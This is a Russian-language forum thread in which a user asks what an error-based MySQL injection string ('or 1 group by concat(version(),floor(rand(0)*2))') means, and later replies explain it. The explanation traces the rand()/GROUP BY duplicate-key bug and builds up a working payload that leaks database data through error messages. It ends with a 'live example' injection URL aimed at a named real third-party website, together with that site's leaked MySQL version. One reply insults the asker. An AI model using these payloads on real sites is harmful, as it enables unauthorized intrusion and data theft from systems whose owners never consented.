я уже спрашивал на форуме что значит етот запрос PHP: +or+1+group+by+concat((select+version()),floor(rand(0)*2))having+min(0)+or+1--+ но никто так и не ответил, все ссылаются на какието ресурсы где обьяснением и подавно непахло, но всёже может хтонибуть может проследить ход моих мыслей и обьяснить. 1)Первое што было непонятно ето +or+1+ што вобще ето значит? я поробовал на хостинге выполнить ети запросы, вот к примеру PHP: SELECT `user_mail` FROM `table` WHERE `id` = '12' or 1 етот запрос значит ,, вывести емеил бзера из таблици где id = 12 или 1,, чо ето за бред? правильно было бы PHP: SELECT `user_mail` FROM `table` WHERE `id` = '12' or `id`= 1 при таком запросе PHP: SELECT `user_mail` FROM `table` WHERE `id` = '12' or 1 у меня всегда выводило первую запись в таблице, я так догудуюсь што етот запрос означает ,,вывести то_то где id = 12 или первую запись,, или я не так понял? 2) Поехали дальше min(0) насколько я знаю в скобках надо вводить название столбца, што означает там введение цифр??? 3)Далее ето floor(rand(0)*2) результатом такого уравнения будет ноль, но если подставить в запрос просто ноль то ничего не выйдет, почему? какую роль ето играет? 4) ну и тд. также непойму зачем в конце +or+1--+ и зачем надо груперовать и собирать в одну строку я тоже не пойму group+by+concat вобщем буду очень презнателен если ктонибуть прольёт немного света на мой затемнелый разум
sql inj кто-то пытался заюзать, при помоши вывода об ошибках в оригинале немного по другому floor(rand(0)*2) провоцирует ошибку =)
если бы кто-то всё-таки опустился до такого уровня, чтобы ответить тебе на вопросы, то в последующем у тебя возникло ещё больше вопросов, которые ты в силу своих интеллектуальных способностей тоже задал бы здесь, а не попытался найти на них ответ самостоятельно. а от того, что ты услышишь ответы, не зная даже что такое mysql, мозгов у тебя не прибавиться, а скорее убудет, т.к. в последущем это будет прямой сигнал для твоего скудного набора нейронов о том, что тебе кто-то что-то должен и не даёт. от сюда все проблемы на ачате.
https://forum.antichat.ru/showpost.php?p=407227&postcount=3 вообще-то прочитай всю ветку сначала и многое поймешь сразу, не вижу тут все повторять и копипастить там все подробно описано по пунктам.
ну я и открывал вот возьмём к примеру етот вопрос PHP: 2) min(0) насколько я знаю в скобках надо вводить название столбца, што означает там введение цифр??? вот к примеру первое попавшиеся описание http://php.su/mysql/?commands PHP: Внутренние функции MIN, MAX, AVG, SUM При работе с оператором SELECT вам доступны несколько очень полезных внутренних функций MySQL, вычисляющих колличество элементов (COUNT), сумму элементов (SUM), максимальное и минимальное значения (MAX и MIN), а также среднее значение (AVG). Следующие операторы выведут, соответственно, колличество записей в таблице CLIENTS, самый дорогой товар и сумму цен всех товаров: SELECT COUNT(*) FROM CLIENTS; SELECT MAX(PRICE) FROM TOOLS; SELECT SUM(PRICE) FROM TOOLS; также как и в учебнике который я читал, подстовляются стольбцы, а о возможности подстоновки числа ноль и том что и откуда оно будет бывирать не сказано _______________________________________
Вся соль пошла отсюда: http://bugs.mysql.com/bug.php?id=32249 Где товарищ, Domas Mituzas, недоумевает, почему код PHP: mysql> select count(*),floor(rand()*2) x from grouptest1 group by x; возвращает, то верный результат, то тот же результат, но в обработчике ошибки: Проблема в том что group by проверяет выражение несколько раз, а rand() в свою очередь возвращает каждый раз разные значение. Цитата из мануала : Исходя из этого некто Qwazar (пруф ) решил попробовать конкатацию строк, для получения запрошенных данных в обработчике ошибки: PHP: select count(*),concat(version(),floor(rand()*2)) x from users group by x; После нескольких попыток выполнить этот запрос, выводится: #1062 - Duplicate entry '5.5.80' for key 'group_key' или #1062 - Duplicate entry '5.5.81' for key 'group_key' Дальше для упрощения(укорочения) запроса, concat(version(),floor(rand()*2)) перенеслась в group by и мы получаем: PHP: select count(*) from users group by(concat(version(),floor(rand()*2))); Результат: #1062 - Duplicate entry '5.5.80' for key 'group_key' или #1062 - Duplicate entry '5.5.81' for key 'group_key' К конструкции floor(rand(0)*2)) пришли исключительно методом тыка (если я конечно не ошибаюсь). И в итоге получился вектор, для вывода информации в ошибке mysql: PHP: select count(*) from users group by(concat(version(),floor(rand(0)*2))); Постоянный результат: #1062 - Duplicate entry '5.5.81' for key 'group_key' Для удобства можно избавится от лишнего символа 1 в конце результата, использованием 0x00 - нулевой байт PHP: select count(*) from users group by(concat(version(),0x00,floor(rand(0)*2))); Ну и уже в виде инъекции в запросе это может выглядеть так: Code: bug.php?id=10+and+(select+count(*)+from+table+group+by(concat(version(),0x00,floor(rand(0)*2))))--+ PHP: SELECT id, news FROM content WHERE id = 10 and (select count(*) from table group by(concat(version(),0x00,floor(rand(0)*2))))-- И при условии если существует таблица table, то в ответе будет: #1062 - Duplicate entry '5.5.8' for key 'group_key' Живой пример: Code: http://www.forakom.ru/tree/index.php?brand_id=739&model_id=5533&engine_id=1005635+and(select+count(*)+from+tcdViews.v_ext_engines+group+by(concat(version(),0x00,floor(rand(0)*2))))--+ Duplicate entry '5.0.67-log' for key 1 Теперь наглядно?